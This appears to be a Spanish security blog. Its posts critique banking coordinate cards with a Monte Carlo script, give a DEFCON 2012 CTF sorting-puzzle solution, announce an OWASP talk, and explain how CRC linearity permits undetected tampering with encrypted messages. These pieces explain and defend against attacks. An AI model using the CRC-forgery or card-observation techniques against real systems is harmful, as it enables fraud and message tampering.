Mi intención no es decir que Dedalo no sabe, o que es malo. Sin embargo, hay muchas imprecisiones en su video que, a petición suya, me solicitaron que corrigiera y que le pueden servir de mucho para seguir avanzando en su conocimiento. Adicionalmente, no importa cuanto te corrijan, o cuanto pidas que te corrijan, la mejor forma de aprender es profundizando, tu mismo, cada vez más en los temas que te interesan, para vencer la mediocridad y la ignorancia que tanto daño le hacen a nuestra comunidad. Honestamente, tenemos ya demasiados charlatanes, la tarea es convertirlos en gente que pueda comunicar conceptos de forma precisa y correcta para hacer un mundo mejor. Eso nada más.

sábado, 8 de septiembre de 2012

Inseguridad Bancaria Online. Parte IV

Dicen que cuando estamos más ocupados es el mejor momento de darnos más trabajo. En consecuencia, decidí escribir este artículo que está más que en deuda y recuperar un poco mi blog que ha estado en el olvido por demasiado tiempo ya.

En otros artículos de esta serie hemos escrito sobre el "teatro de seguridad" que tanto gusta a las organizaciones que ofrecen servicios de banca en linea. Este artículo está dedicado a todavía otra práctica que tiene más finalidad de teatro que de seguridad propiamente dicha.

Las famosas tarjetas de coordenadas.

Como bien sabemos, los sistemas de autenticación basados en un sólo factor (e.g. la conocida contraseña) sufren de una gran cantidad de amenazas de dificil solución. La idea detrás de las tarjetas de coordenadas es proveer al usuario de banca en linea de un sistema de autenticación adicional y, al menos en teoría, más robusto. En teoría, los dos factores de autenticación combinados deberían darle una protección adicional. En la práctica, sin embargo, la implementación de esta solución está usualmente plagada de demasiados problemas, fallas y vulnerabilidades. Algunas de las implementaciones que he visto tienen tantos huecos que sus huecos tienen huecos.

La descripción de este mecanismo es muy sencilla. El usuario es provisto de una serie de códigos que bajo determinadas condiciones son requeridos por el sistema web antes de ejecutar la transacción solicitada. Esta serie de códigos por lo general están organizados en una especie de "tabla" de fácil consulta para permitir al usuario contestar el "reto" que le plantea el sistema en una situación particular. Estas situaciones de "reto" pueden ser muy variadas, por ejemplo, pueden ser utilizadas desde para autorizar transacciones privilegiadas, pasando por la re-autenticación del usuario despues de la detección de patrones de uso inusuales o incluso hasta para inciar sesión. Por otro lado, el mencionado "reto" consiste usualmente en preguntar al usuario algún subconjunto de datos contenidos en la tarjeta de coordenadas que se supone sólo deberían ser conocidos por el poseedor de este instrumento.

He aquí el primer detalle. La teoría de los "multiples factores" de autenticación postula que la seguridad se incrementa cuando se insertan factores adicionales "distintos", mientras que multiples factores "iguales" no tienen un verdadero valor. Por ejemplo, si le impongo a mi sistema solicitar una contraseña y luego otra contraseña (dos factores de algo que "conoces") la seguridad no aumenta demasiado. Por el contrario, si combino algo que "conozco" con algo que "soy" (biometría), pues la seguridad aumenta notablemente. Nótese que muchas veces los factores de conocimiento, posesión y existencia no están bien definidos. Por ejemplo, uno podría pensar que los datos que utilizan los sistemas de biometría (minutia) son en realidad algo que se podría "conocer". Si tengo acceso a interactuar con el sistema que recibe esta minutia, acabo de transformar una autenticación de algo que soy, en una autenticación basada en algo que "conozco".

Bajo esta óptica, una tarjeta de coordenadas podría ser interpretada simplemente como una contraseña bien larga, y encima escrita en un pedazo de plastico. Justo lo que siempre nos han dicho que no debemos hacer (escribir nuestras contraseñas). Pero eso no es todo. Por otro lado, la generación de estas "contraseñas largas" no son de facil "cambio", no las pensamos nosotros, y son extremadamente dificiles de memorizar, por lo cual deben estar siempre escritas en algún lado. Creo que no hay ninguna otra recomendación que estas "contraseñas largas" podrían violar.

Sin embargo, todas estas ideas abordan el problema desde una óptica más bien operacional. El desarrollo de este problema lo estoy dejando para un artículo que estamos desarrollando en conjunto con segu-info, por favor que valga la cuña, excelente blog de noticias y articulos de seguridad informática en español. En lo que queda de este artículo, sin embargo, quisiera abordar el análisis de estas tarjetas de coordenadas desde un punto de vista netamente técnico, asumiendo que su utilización es llevada a cabo por un usuario "experto". Es decir, si uso todo esto de forma ideal, ¿Qué tanta protección me provée realmente?

Para este análisis, necesitamos comenzar identificando los parametros involucrados. Despues de pensar un poquito es fácil darse cuenta que existen sólo tres parametros que determinan la vida "util" de nuestras tarjetas de coordenadas:

Número de posibles simbolos. Asumamos por un momento, numeros de 0 a 99.
Numero de simbolos por "reto". Éste es el número de preguntas que nos hace el sistema en cada reto planteado. Asumamos por un momento 2.
Número de simbolos en la tarjeta. De forma general esto es el producto de las dimensiones de la tarjeta pero asumamos por un momento que es 9 x 5.

Un análisis superficial nos podría llevar a concluir "equivocadamente" que un atacante necesitaría de 10000 oportunidades para adivinar correctamente un reto sin poseer la tarjeta. Esto es simplemente la probabilidad de adivinar correctamente dos simbolos de 100 posibilidades cada uno. Aunque correcto de forma teórica, no se corresponde con la realidad práctica. Por un lado, ya hemos visto hasta el cansancio los problemas que ocurren al permitir ataques de fuerza bruta en este tipo de sistemas. En consecuencia, es inmaterial las oportunidades que necesite un atacante para "adivinar" las coordenadas puesto que de todas maneras vamos a implementar algún tipo de bloqueo despues de un número mucho más pequeño que 10000 intentos fallidos. Pero por el otro, existen muchas otras técnicas disponible para nuestro atacante ante esta situación.

Particularmente, si asumimos que el atacante puede observar un cierto número de retos resueltos de forma exitosa por el usuario legítimo, la pregunta más interesante es saber: ¿Cuantos retos tiene que observar el atacante para que el proximo reto sea ya conocido? El problema debe ser evidente: despues de un número de retos resueltos correctamente, el atacante podría tener toda la información necesaria para resolver el reto "nuevo". Por ejemplo, despues de ver los dos retos "A1 = 05, B3 = 71" y "C3 = 10, D2 = 97", el atacante puede responder los siguientes retos "nuevos": "A1, C3", "A1, D2", etc.

Este número es importante porque determina en qué momento debería el usuario pensar en reemplazar su tarjeta de coordenadas. Nótese que este número sólo depende de los parametros que habiamos identificado anterioremente y no depende de los "errores" que pueda cometer un usuario "no-experto". En consecuencia, este número es una evaluación de esta herramienta en el caso "ideal". Por otro lado, para los que les incomode requerir que nuestro atacante pueda ver la resolución de unos cuantos retos, hay que notar que esta situación no es nada dificil. De hecho, uno de los problemas que esta tarjeta de coordenadas intenta resolver es justamente ese. Proveer algún tipo de "contraseña de un sólo uso", es decir, a pesar de que el atacante la vea, pues no la puede usar a menos que el sistema vuelva a preguntarla exactamente de la misma forma en algún momento en el futuro.

Ahora bien, podríamos intentar hacer una derivación matemática de cuanto debe ser este número de forma general. Pero es demasiado temprano en la madrugada como para esos ejercicios. En consecuencia, siempre es divertido realizar un pequeño experimento de Monte Carlo y determinar ese número de forma práctica. Un muy simple programita en python arroja los siguientes resultados:


promedio 8.97 despues de 100 iteraciones
promedio 9.05 despues de 1000 iteraciones
promedio 9.0834 despues de 10000 iteraciones
promedio 9.05886 despues de 100000 iteraciones
promedio 9.049979 despues de 1000000 iteraciones

De donde se puede ver claramente que despues de unas 9 veces de haber usado nuestra tarjeta de coordenadas podemos estar bastante seguros que el siguiente reto podrá ser resuelto por nuestro atacante sin mayores problemas. No se que sistema me podría pedir que cambie una "contraseña" cada 10 veces que la use, pero más o menos eso es lo que resulta. Para los curiosos o para los que quieran corregirme (es muy temprano en la mañana, de seguro hay bugs) a continuación el programita en python que resuelve este problema:

#! /usr/bin/python -u
from __future__ import division
import random

n = 9
m = 5
iteraciones = 1000000

suma = 0
for iteracion in xrange(1,iteraciones):
        vistos = []
        count = 0
        while 1:
                a,b = random.randrange(1,n), random.randrange(1,m)
                c,d = random.randrange(1,n), random.randrange(1,m)
                if a == c and b==d:
                        continue
                #print "got",(a,b), "and", (c,d)
                if (a,b) in vistos and (c,d) in vistos:
                        #print "colision despues de ", count
                        break;
                vistos.append((a,b))
                vistos.append((c,d))
                count += 1
        suma += count

print "promedio", suma/iteraciones, "despues de",iteraciones,"iteraciones"

Pero esto no es todo. Supongamos por un momento que a nuestro usuario "ideal" no le importa cambiar su tarjeta de coordenadas despues de haberla usado tan solo 9 veces. Si le importara no sería un usuario tan "ideal" después de todo. En ese momento generaríamos otros 9x5 simbolos y comenzaría la carrera de nuevo. La pregunta inmediata es: ¿Después de cuantos cambios de tarjeta de coordenadas se hace todo este sistema completamente inútil?

Como es muy temprano en la mañana, esa pregunta la dejaré para otro momento, pero se puede vislumbrar fácilmente que la cosa no va nada bien. Sobre todo porque aquí empieza a mordernos otro problema que siempre es pasado por alto: la generación de aleatoriedad.

Este tema especificamente lo tengo reservado para otra serie de articulos que tengo en mente desarrollar justamente cuando esté todavía más ocupado que ahora. Prometo tener varias sorpresas :D

lunes, 4 de junio de 2012

DEFCON20 CTF QUALS /urandom 300

En un ajetreado fin de semana con un monton de asuntos pendientes adicionales, finalmente pude dedicar unas pocas horas de tiempo a las conocidas clasificatorias para el DEFCON20 CTF. Es como una maldición, siempre que he querido participar, sale algo imprevisto y quedan los deseos insatisfechos. Este año casi sucede lo mismo: propuestas urgentes para clientes, preparativos de viaje, etc. Menos mal que este año no pudieron conmigo. Participar en un equipo de una sóla persona fue divertido, pero para el proximo año definitivamente necesito más gente. Si estás interesado en formar un equipo o si tienen espacio en el suyo escríbeme por aquí.

Uno de los problemas que "disfruté" mucho resolviendo fue /urandom 300. El encabezado decía algo así:

"... Aquí encontrarás tu examen final de la clase online de Algoritmos de Stanford... 140.197.217.155:5601... Password: d0d2ac189db36e15"

Al conectarnos e introducir el password, obtenemos el siguiente mensaje:

Here come 100000 uint16_t, please tell me how to sort them into
ascending order by sending me pairs of indices to exchange, one
per line, in the format: <index1>:<index2>
For example to exchange elements 123 and 9821 you should send:
123:9821
Valid indices are in the range 0..99999 inclusive. Send a blank
line when you are done. If you correctly sort the array in
sufficiently few moves I will give you a key!
You have about 10 seconds to finish, and a 5 minute wait between
succesive connections.

y luego en efecto venía el río de 100 mil números que hay que ordenar. La teoría detrás de la solución la saqué de aquí. Básicamente consiste en encontrar "subgrafos embebidos" en el arreglo de índices oredenados versus el arreglo original. Luego la solución es simplemente hacer swaps de los elementos dentro de esos subgrafos. En consecuencia, mi solución terminó siendo así:

1.- Enviar password, leer intro, leer 100 mil numeros y colocarlos en un diccionario (para facilitar el siguiente paso).
2.- Ordenar el diccionario anterior de acuerdo a los valores y crear un arreglo con los indices de los numeros originales.
3.- Crear los subgrafos embebidos inspeccionando el arreglo de indices con valores ordenados.
4.- Crear la solución de swaps de acuerdo a los subgrafos embebidos generados.
5.- Enviar la solución.


Hasta ahí todo parece perfecto. Lástima que entre la teoría y la práctica, siempre hay mucha diferencia.

El primer problema encontrado fue mi ISP. Recordemos que desde el inicio de la conexión, hasta enviar toda la respuesta, no pueden pasar más de 10 segundos. Las soluciones típicas resultaron ser de 1.2 megas, aproximadamente 90 mil swaps (como era de esperarse en un arreglo aleatorio de números). Empujar 1.2 megas por una conexión de 512 Kbps upstream, si mis cálculos son correctos, en el mejor de los casos: 19.2 segundos. Gracias CANTV.

La conexión simplemente moría antes de que mi script pudiera enviar la solución completa.

Así que el primer paso fue conseguir un shell con una conexión decente. Gracias a mis colegas (Freddy) siempre dispuestos a ayudar a un amigo!

Luego de una conexión decente, todo el intercambio duraba menos de 3 segundos. Sin embargo, el siguiente problema fue un mensaje como el siguiente:

"... Felicitaciones, tus comandos han producido un arreglo ordenado correctamente. Sin embargo, has utilizado demasiados intercambios. Que tengas mejor suerte la proxima vez..."

Este es el "momento WTF". ¿Cómo es eso que "mejor suerte"? mi algoritmo es determinístico! aquí no hay nada de suerte. A pesar de que el mensaje de "mejor suerte" estaba obviamente dirigido a "fastidiarte", en efecto fue bastante útil. Al meditar unos minutos sobre cómo la suerte no podía influir me di cuenta del problema!

En mi solución, por flojo o por apurado, (no importa, mismo resultado), utilicé una libreria de python para ordenar el arreglo original. En consecuencia, era posible que si en el arreglo original había algún número repetido, el algoritmo de ordenamiento podría intercambiar posiciones de números iguales que no eran necesarias, sobre todo si la posición del número repetido ya estaba en la posición ordenada final. Entonces la suerte SI! tenía que ver. Mi algoritmo fallaría cuando los anteriores eventos coincidían. Sabiendo que en una elección de números aleatorios esos eventos juntos no deberían ser tan frecuentes, simplemente ejecuté mi solución varias veces. Despues de 2 mensajes de falla, a la tercera fue la vencida:

"Congratulations, your final array is sorted correctly.
Here is your key: a7482ddfb82601fdc392b67836883dcc"

UPDATE: Algunos me han pedido ver código, asi que he decidido postearlo. Advertencia: Esto es lo que pasa cuando programas apurado. Código muy horrible sigue (lol):


#! /usr/bin/python -u

import socket,operator,time

SERVER_HOST = 'localhost'
SERVER_PORT = 10000
#SERVER_HOST = "140.197.217.155"
#SERVER_PORT = 5601
PASSWORD = 'd0d2ac189db36e15'

def show_time(start):
        res = time.time()
        print "elapsed:",str(res - start)
        return res

def send_msg(s,m):
        s.send(m+"\x0a")
def recv_msg(s):
        c = "d"
        r = ""
        while 1:
                c = s.recv(1)
                if not c:
                        break
                r += c
        return r

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((SERVER_HOST,SERVER_PORT))

start_t = show_time(time.time())

p = c.recv(10)
print p,
send_msg(c,PASSWORD)
print PASSWORD
header = c.recv(0x1F8)

print header
start_t = show_time(start_t)

numbers = ""
for rr in xrange(100000):       
        numbers += c.recv(2)    

print "length(numbers):", len(numbers)
start_t = show_time(start_t)

lista = {}
for x in xrange(100000):        
        try:                    
        #       raw = c.recv(2).encode('hex')
                raw = numbers[2*x:2*x+2].encode('hex')
                network_byte_order = int(raw,16)
        #       print "received:",raw
                num = socket.ntohs(network_byte_order)
        except :
                print "Raw:",raw
                print "network_byte_order:",network_byte_order
                print "Total:",x
                raise Exception("Connection Closed")
        lista[x] = num

#lista = {0:3,1:2,2:4,3:0,4:1,5:5} # Check really small case.

print "length lista:",len(lista)
#print lista
start_t = show_time(start_t)
print "started sorting"
sorted_x = sorted(lista.iteritems(),key=operator.itemgetter(1))
sorted_indices = [x[0] for x in sorted_x]
print "ended sorting"

start_t = show_time(start_t)
print "constructing sol"
indices = [False for r in xrange(100000)]

res = ""
for count in xrange(len(lista)):
        if indices[count]:
                continue
        base = count
        current = count
        indices[current] = True
        next_i = sorted_indices[current]
        indices[next_i] = True
        while next_i != base:
#               print str(current)+":"+str(next_i)
                res += str(current)+":"+str(next_i)+"\x0a"
                current = next_i
                next_i = sorted_indices[current]
                indices[next_i] = True
#       print "End of embeded subgraph"

start_t = show_time(start_t)

print "sending answer"
try:
        c.send(res+"\x0a")
except socket.error, (value,message):
        print "oops didnt unload all:",message
start_t = show_time(start_t)
print "answer:",recv_msg(c)

martes, 24 de abril de 2012

OWASP Venezuela Latam Tour 2012

Es para mí un placer haber sido invitado a participar en el OWASP Latam Tour 2012 por el capítulo Venezuela.

En mi ponencia de este evento: "WebApp Penetration Testing" estaré abordando distintos temas sobre las pruebas de penetración en aplicaciones web. El siguiente es un temario tentativo:

WebApp Penetration Testing:
- ¿Qué es?
- ¿Qué no es?
- ¿Para que?
- Vulnerabilidades obvias pero catastróficas.
- Vulnerabilidades no-obvias pero igualmente catastróficas.
- Preguntas y Respuestas - Tema libre.

Espero contar con su asistencia!

OWASP LATAM Tour 2012:
Capítulo Venezuela.
Fecha: 26 de Mayo de 2012
Lugar: Av. Urdaneta, Esquina de Mijares, Parroquia Altagracia, Colegio Universitario Francisco de Miranda, Auditorio "Santiago Magariño". Caracas - Venezuela

La entrada es libre pero debes registrarte aquí.

Mas información aquí.

domingo, 15 de abril de 2012

Diversión con CRC. Parte I

En el anterior artículo de esta serie describimos las bases de los algoritmos CRC para verificar errores de transmisión. Adicionalmente, dimos un ejemplo de cómo intentar usarlos para detectar modificaciones maliciosas intencionales sobre nuestras comunicaciones protegidas. Es importante destacar que la anterior discusión es bastante independiente al método de cifrado utilizado. Lease cualquier cifrado por bloques como AES, DES, 3DES, en cualquiera de los modos usuales, OFB, CBC, CTR, etc. En todas estas "modalidades" de encripción, en algún momento, terminamos haciendo "XOR" a nuestro texto en claro, con algún tipo de "cadena pseudo-aleatoria". Los detalles son distintos y las posiciones de inyección en cada caso pueden ser diferentes, pero la idea de ataque descrita aplica exactamente de la misma forma.

En este artículo veremos tan sólo uno de los problemas que implica utilizar CRC para verificar modificaciones maliciosas. Recordemos el objetivo de nuestro atacante, i.e. modificar el texto interceptado de tal forma que el destinatario original no se de cuenta del cambio. El problema planteado al utilizar CRC es que ahora mi atacante necesita también modificar el código CRC si desea tener algún tipo de éxito en su estafa. Ahora bien, si nuestro atacante conociera el contenido completo del texto que está cifrado, su tarea sería muy sencilla.

El primer paso sería calcular el CRC que tiene el mensaje original, calcular el CRC que tendría el mensaje modificado, y tratar al CRC viejo y al nuevo de la misma forma con que se trata a las palabras "sur" y "nor:


Es decir, el viejo CRC viene a jugar el mismo personaje de la palabra "sur" y el nuevo CRC viene a jugar el mismo personaje que la palabra "nor". Exactamente la misma técnica. Despues de lo tan seguido espero que la idea sea más bien obvia: si al texto cifrado, le "quitamos" el texto en claro, mediante una operación XOR, y le agregamos el nuevo (también con una operación XOR), pues es fin del juego. Afortunadamente, esta técnica no le sirve a nuestro atacante, pues él sólo conoce una "parte" del texto en claro, i.e. la palabra "sur". Al no conocer el resto del texto, no tiene forma de calcular el "antiguo CRC" arriba. Aquí es donde viene lo interesante.

Resulta que por las propiedades de CRC, para cualquier par de cadenas de caracteres s1 y s2, el CRC del XOR es el XOR de los CRCs. En lenguaje matemático: CRC(s1 XOR s2) es igual a CRC(s1) XOR CRC(s2)! Esto es, la función XOR es "lineal". Si recordamos el primer artículo de esta serie, tal resultado no debería ser demasiado sorprendente. La suma, se transformó en un XOR pues estamos trabajando con coeficientes módulo 2, y el cálculo del CRC tenía en su corazon una simple determinación del residuo de una división por un polinomio. Es decir, (a + b) / c = ( a / c ) + ( b / c ), todos recordamos las propiedades distributivas de las sumas en la escuela, ¿no?

Bueno, si vamos a ser sumamente estrictos, en realidad esta última comparación no es exactamente correcta en el caso de CRC32, pero está muy cerca. Por cierto, si desean conocer todo y mucho más acerca del CRC, no hay nada mejor que este artículo. Sin lugar a dudas es la referencia más citada en toda la Internet.

Retomando el tema, resulta que nuestro atacante puede abusar esta propiedad de la función CRC, y calcular la modificación que debe hacerle al CRC cifrado directamente, sin conocer el CRC original en lo absoluto. Lo único que requiere es conocer la modificación que se le va a hacer a la cadena original. Si pensamos un poco la cuestion, la siguiente ecuación debería ser cierta:

CRC(texto ori XOR modificación) = CRC(texto original) XOR CRC(modificación)

Sin embargo, como habiamos mencionado antes, para el caso de CRC32 no es del todo así. Para hacer la historía corta, la respuesta final es simplemente que hay que calcular una especie de "CRC homogeneo", para que nuestra ecuación arriba se cumpla y podamos engañar a nuestros enemigos modificando sus mensajes cifrados. El cálculo de este CRC homogeneo que mencionamos no podría ser más sencillo. Lo único que hay que cambiar son los parámetros INITXOR y OUTXOR que describimos en el anterior artículo. Los nuevos valores para estos parametros no son nada mas que "0x00". Así de simple:



Nótese que el cálculo de esta "modificación" del XOR arroja exactamente el mismo resultado que cuando hicimos la modificación del CRC antiguo con el nuevo en nuestro primer intento de ataque. Espero que ni siquiera sea necesario convencerlos de que esto realmente funciona, pues debería ser evidente. Sin embargo, aquí esta la demostración en nuestra consola de python:



Resumen ejecutivo: la utilización de la función CRC para defendernos contra ataques activos sobre comunicaciones encriptadas no es efectiva. En este caso, para realizar una modificación al texto cifrado, lo único que se requiere es el cálculo del "CRC homogeneo" de la modificación que se desea hacer al texto para obtener la modificación que debe hacerse sobre el CRC cifrado y desconocido. Por si ésto fuera poco, en los siguientes artículos exploraremos aún más ataques sobre el uso de CRC en este tipo de situaciones. La diversión apenas comienza!